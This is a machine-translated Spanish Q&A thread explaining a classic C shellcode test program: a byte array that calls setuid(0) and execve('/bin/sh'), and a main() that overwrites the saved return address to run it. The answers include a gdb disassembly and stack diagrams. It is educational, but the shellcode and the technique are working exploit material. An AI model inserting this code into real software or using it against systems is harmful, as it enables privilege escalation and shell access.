puede alguien explicar este código para mí?
Pregunta
ADVERTENCIA: Esta es una hazaña. No ejecutar este código.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
¿alguien puede dar una mejor explicación?
Solución
Al parecer, este código intentos de cambiar la pila de manera que cuando la función main
devoluciones, la ejecución del programa no vuelve regularmente a la biblioteca de tiempo de ejecución (que normalmente terminar el programa), pero saltaría lugar en el código guardado en la shellcode
array.
1) int *ret;
define una variable en la pila, justo debajo de argumentos de la función main
.
2) ret = (int *)&ret + 2;
permite que el punto variable de ret
a un int *
que se coloca dos int
s anteriormente ret
en la pila. Se supone que es donde se encuentra la dirección de retorno en el que el programa continuará cuando los rendimientos main
.
2) (*ret) = (int)shellcode;
La dirección de retorno se establece en la dirección de los contenidos de la matriz shellcode
, por lo que serán ejecutadas el contenido de esa shellcode
cuando los rendimientos main
.
shellcode
aparentemente contiene instrucciones de máquina que, posiblemente, hacer una llamada al sistema de /bin/sh
lanzamiento. Podría estar equivocado en esto, ya que en realidad no shellcode
desmontar.
P.S:.. Este código es por máquina y el compilador-dependiente y, posiblemente, no funciona en todas las plataformas
Responder a la segunda pregunta:
y lo que sucede si el uso que ret = (int) y ret 2 y por qué la agregamos 2? ¿por qué no 3 o 4 ??? y creo que int es de 4 bytes por lo que habrá 2 8 bytes no?
ret
se declara como un int*
, por lo tanto, la asignación de un int
(como (int)&ret
) que sería un error. En cuanto a por qué se añade 2 y no cualquier otro número: al parecer porque este código se supone que la dirección de retorno se encuentran en ese lugar en la pila. Considere lo siguiente:
-
Este código asume que la pila de llamadas crece hacia abajo cuando algo se empuja en él (como de hecho lo hace, por ejemplo, con procesadores Intel). Esa es la razón por la cual un número es añadido no restada . La dirección de retorno se encuentra a una dirección de memoria más alta que las variables automáticas (locales) (como
ret
) -
Por lo que recuerdo de mis días de montaje de Intel, una función de C a menudo se llama así: En primer lugar, todos los argumentos se insertan en la pila en orden inverso (derecha a izquierda). Entonces, la función se llama. La dirección de retorno De este modo se inserta en la pila. A continuación, un nuevo marco de pila está configurado, que incluye empujar el registro
ebp
en la pila. A continuación, las variables locales se establecieron en la pila por debajo de todo lo que ha sido empujado hacia arriba a este punto.
Ahora Asumo la siguiente distribución de pila para su programa:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
Al mentiras ret
parte inferior (que es un entero de 32 bits). Por encima de él es el registro ebp
salvado (que es también de 32 bits de ancho). Por encima de esta es la dirección de retorno de 32 bits. (Por encima de los argumentos que sería de main
- argc
y argv
- pero estos no son importantes aquí.) Cuando se ejecuta la función, el puntero de pila en ret
. El retorno de direcciones mentiras 64 bits "por encima" ret
, que corresponde a la + 2
en
ret = (int*)&ret + 2;
Es + 2
porque ret
es un int*
, y un int
es de 32 bits, por lo tanto, la adición de 2 medios de ajuste a una posición de memoria 2 × 32 bits (= 64 bits) por encima (int*)&ret
... lo que sería la dirección de retorno ubicación, si todos los supuestos del párrafo anterior son correctos.
Excursión: Permítanme demostrar en lenguaje ensamblador Intel cómo una función C podría se llamará (si no recuerdo mal - soy noh gran maestro sobre este tema por lo que podría estar equivocado):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Dentro principal, lo siguiente puede ocurrir:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
Ver también: Descripción de la href="http://aplawrence.com/Unix/c_calling_sequence.html" rel="noreferrer"> secuencia de llamada a procedimiento otra explicación de este tema.
Otros consejos
El código shell actual es:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
Esto corresponde a aproximadamente
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
Esa cadena es de una vieja documento sobre desbordamientos de búfer, y ejecutará / bin / sh. Desde su código malicioso (bueno, si se combina con un tampón de explotar) - que realmente debería incluirlo de origen próxima vez.
exploits basados ??A partir de ese mismo documento, cómo pila de código
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
El código ha incluido hace que el contenido de código shell [] para ser ejecutado, corriendo execve , y proporcionar acceso a la cáscara. Y el término Shellcode? De Wikipedia :
En seguridad informática, un código shell es una pequeña pieza de código se utiliza como la de carga útil en la explotación de una vulnerabilidad de software. Se llama "Código shell", ya que normalmente inicia una shell de comandos desde la cual el atacante puede controlar la comprometida máquina. Shellcode se escribe comúnmente en código de máquina, pero cualquier pieza de código que realiza una tarea similar se puede llamado código shell.
Sin levantar todos los códigos de operación real para confirmar, la matriz shellcode
contiene el código de la máquina necesaria para /bin/sh
Exec. Este shellcode es código de máquina cuidadosamente construida para llevar a cabo la operación deseada en una plataforma de destino específico y no contienen ningún byte null
.
El código en main()
está cambiando la dirección de retorno y el flujo de ejecución con el fin de hacer que el programa para desovar una cáscara por tener las instrucciones en la matriz shellcode
ejecutado.
Smashing La Pila por diversión y dinero para una Descripción de cómo código shell como este puede ser creado y cómo podría ser utilizado.
La cadena contiene una serie de bytes representados en hexadecimal.
La bytes codificar una serie de instrucciones para un procesador en particular sobre una plataforma en particular - es de esperar, el suyo. (Edit: Si se trata de software malicioso, es de esperar no el suyo)
La variable se define sólo para obtener un identificador de la pila. Un marcador, si se quiere. A continuación, se utiliza la aritmética de punteros, una vez más dependiente de la plataforma, para manipular el estado del programa para hacer que el procesador para saltar a ejecutar y los bytes en la cadena.
Cada \ xxx es un número hexadecimal. Uno, dos o tres de tales números forman juntos un código op (google para ello). Junto forma de montaje que puede ser ejecutado por la máquina de más o menos directamente. Y este código intenta ejecutar el código shell.
Creo que los intentos shellcode para desovar una concha.